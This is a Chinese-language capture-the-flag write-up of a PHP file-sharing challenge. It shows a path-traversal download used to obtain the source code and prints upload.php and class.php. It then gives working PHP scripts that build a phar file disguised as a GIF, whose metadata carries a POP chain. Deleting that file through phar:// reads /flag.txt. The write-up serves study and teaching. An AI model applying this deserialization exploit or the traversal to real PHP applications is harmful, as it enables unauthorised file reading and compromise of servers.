TRY
首先上傳和刪除文件抓包,可以發現upload.php和delete.php,只允許上傳gif png jpg后綴的文件。但是上傳的文件并沒有辦法訪問,不過可以下載,抓包發現下載的時候請求體是文件名,嘗試能不能通過路徑穿越獲取源碼,成功了。試試直接讀取flag,肯定是失敗的。
通過…/…/穿越到工作目錄然后下載所有源碼。
upload.php
<?php
session_start();
if (!isset($_SESSION['login'])) {header("Location: login.php");die();
}include "class.php";if (isset($_FILES["file"])) {$filename = $_FILES["file"]["name"];$pos = strrpos($filename, ".");if ($pos !== false) {$filename = substr($filename, 0, $pos);}$fileext = ".gif";switch ($_FILES["file"]["type"]) {case 'image/gif':$fileext = ".gif";break;case 'image/jpeg':$fileext = ".jpg";break;case 'image/png':$fileext = ".png";break;default:$response = array("success" => false, "error" => "Only gif/jpg/png allowed");Header("Content-type: application/json");echo json_encode($response);die();}if (strlen($filename) < 40 && strlen($filename) !== 0) {$dst = $_SESSION['sandbox'] . $filename . $fileext;move_uploaded_file($_FILES["file"]["tmp_name"], $dst);$response = array("success" => true, "error" => "");Header("Content-type: application/json");echo json_encode($response);} else {$response = array("success" => false, "error" => "Invaild filename");Header("Content-type: application/json");echo json_encode($response);}
}
?>
上傳的文件位置$_SESSION[‘sandbox’] . $filename . fileext,利用fileext,利用fileext,利用_FILES[“file”][“type”]過濾文件類型并修改后綴名。
class.php
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);class User {public $db;public function __construct() {global $db;$this->db = $db;}public function user_exist($username) {$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");$stmt->bind_param("s", $username);$stmt->execute();$stmt->store_result();$count = $stmt->num_rows;if ($count === 0) {return false;}return true;}public function add_user($username, $password) {if ($this->user_exist($username)) {return false;}$password = sha1($password . "SiAchGHmFx");$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");$stmt->bind_param("ss", $username, $password);$stmt->execute();return true;}public function verify_user($username, $password) {if (!$this->user_exist($username)) {return false;}$password = sha1($password . "SiAchGHmFx");$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");$stmt->bind_param("s", $username);$stmt->execute();$stmt->bind_result($expect);$stmt->fetch();if (isset($expect) && $expect === $password) {return true;}return false;}public function __destruct() {$this->db->close();}
}class FileList {private $files;private $results;private $funcs;public function __construct($path) {$this->files = array();$this->results = array();$this->funcs = array();$filenames = scandir($path);$key = array_search(".", $filenames);unset($filenames[$key]);$key = array_search("..", $filenames);unset($filenames[$key]);foreach ($filenames as $filename) {$file = new File();$file->open($path . $filename);array_push($this->files, $file);$this->results[$file->name()] = array();}}public function __call($func, $args) {array_push($this->funcs, $func);foreach ($this->files as $file) {$this->results[$file->name()][$func] = $file->$func();}}public function __destruct() {$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';$table .= '<thead><tr>';foreach ($this->funcs as $func) {$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';}$table .= '<th scope="col" class="text-center">Opt</th>';$table .= '</thead><tbody>';foreach ($this->results as $filename => $result) {$table .= '<tr>';foreach ($result as $func => $value) {$table .= '<td class="text-center">' . htmlentities($value) . '</td>';}$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下載</a> / <a href="#" class="delete">刪除</a></td>';$table .= '</tr>';}echo $table;}
}class File {public $filename;public function open($filename) {$this->filename = $filename;if (file_exists($filename) && !is_dir($filename)) {return true;} else {return false;}}public function name() {return basename($this->filename);}public function size() {$size = filesize($this->filename);$units = array(' B', ' KB', ' MB', ' GB', ' TB');for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;return round($size, 2).$units[$i];}public function detele() {unlink($this->filename);}public function close() {return file_get_contents($this->filename);}
}
?>
有很多魔術方法,明顯能構造pop鏈。感覺是在下載文件時利用phar協議觸發反序列化。
WP

看來不是所有上傳文件名的地方都能利用phar協議進行反序列化,能觸發反序列化的函數是有限的。
在class.php中能找到open()方法有file_exists函數,delete()方法有unlink函數,close()有file_get_contents函數。在delete.php中能看到使用了$file->detele(),并且其文件名也是我們上傳的,可以使用phar協議。
現在的思路就是構造pop鏈放入phar文件中,繞過類型過濾(phar文件靠文件內容識別不靠后綴名)然后上傳,并且拿到上傳位置,再使用phar協議請求delete.php觸發反序列化,拿到flag。
payload:
<?php
class User {public $db;// public function __destruct() {// $this->db->close();// }
}class FileList {public $files;// private $results;// private $funcs;// public function __call($func, $args) {// array_push($this->funcs, $func);// foreach ($this->files as $file) {// $this->results[$file->name()][$func] = $file->$func();// }// }// public function __destruct() {// $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';// $table .= '<thead><tr>';// foreach ($this->funcs as $func) {// $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';// }// $table .= '<th scope="col" class="text-center">Opt</th>';// $table .= '</thead><tbody>';// foreach ($this->results as $filename => $result) {// $table .= '<tr>';// foreach ($result as $func => $value) {// $table .= '<td class="text-center">' . htmlentities($value) . '</td>';// }// $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下載</a> / <a href="#" class="delete">刪除</a></td>';// $table .= '</tr>';// }// echo $table;// }
}class File {public $filename = "/flag.txt";// public function close() {// return file_get_contents($this->filename);// }
}$a = new File();
$b = new FileList();
$c = new User();
$c->db = $b;
$b->files = array($a); //將變量 $a 作為元素放入一個新數組中,然后將這個數組賦值給對象 $b 的 files 屬性。$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($c);
$phar->addFromString("exp.txt", "test");
$phar->stopBuffering();
?>
文件上傳位置為SESSION[‘sandbox’]內,定義在login.php中,但是這里其實并不用計算,因為讀取文件的當前位置就是上傳的位置,所以直接用phar://phar.jpg就可以
嘗試一下是出錯了,原因在于我構造payload時為了方便賦值將FileList中的$files變量屬性由private改為了public,這是絕對不允許的,因為反序列化的過程中識別變量時是通過變量名加屬性。這會導致攻擊鏈失效。
既然不能改屬性,那如何賦值private變量為我們構造的對象呢?利用__construct方法!
<?php
class User {public $db;
}class FileList {private $files;public function __construct() {$this->files = array(new File());}
}class File {public $filename = "/flag.txt";
}$a = new File();
$b = new FileList();
$c = new User();
$c->db = $b;$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($c);
$phar->addFromString("exp.txt", "test");
$phar->stopBuffering();
?>
Conclusion
首先通過文件下載功能獲得源碼,應該是服務端對文件名的解析沒有禁止掉目錄穿越。然后是phar反序列化結合文件上傳,改正了一個錯誤,不能修改屬性名(非特殊情況),可以利用__construct方法對private變量賦值為對象構造pop鏈。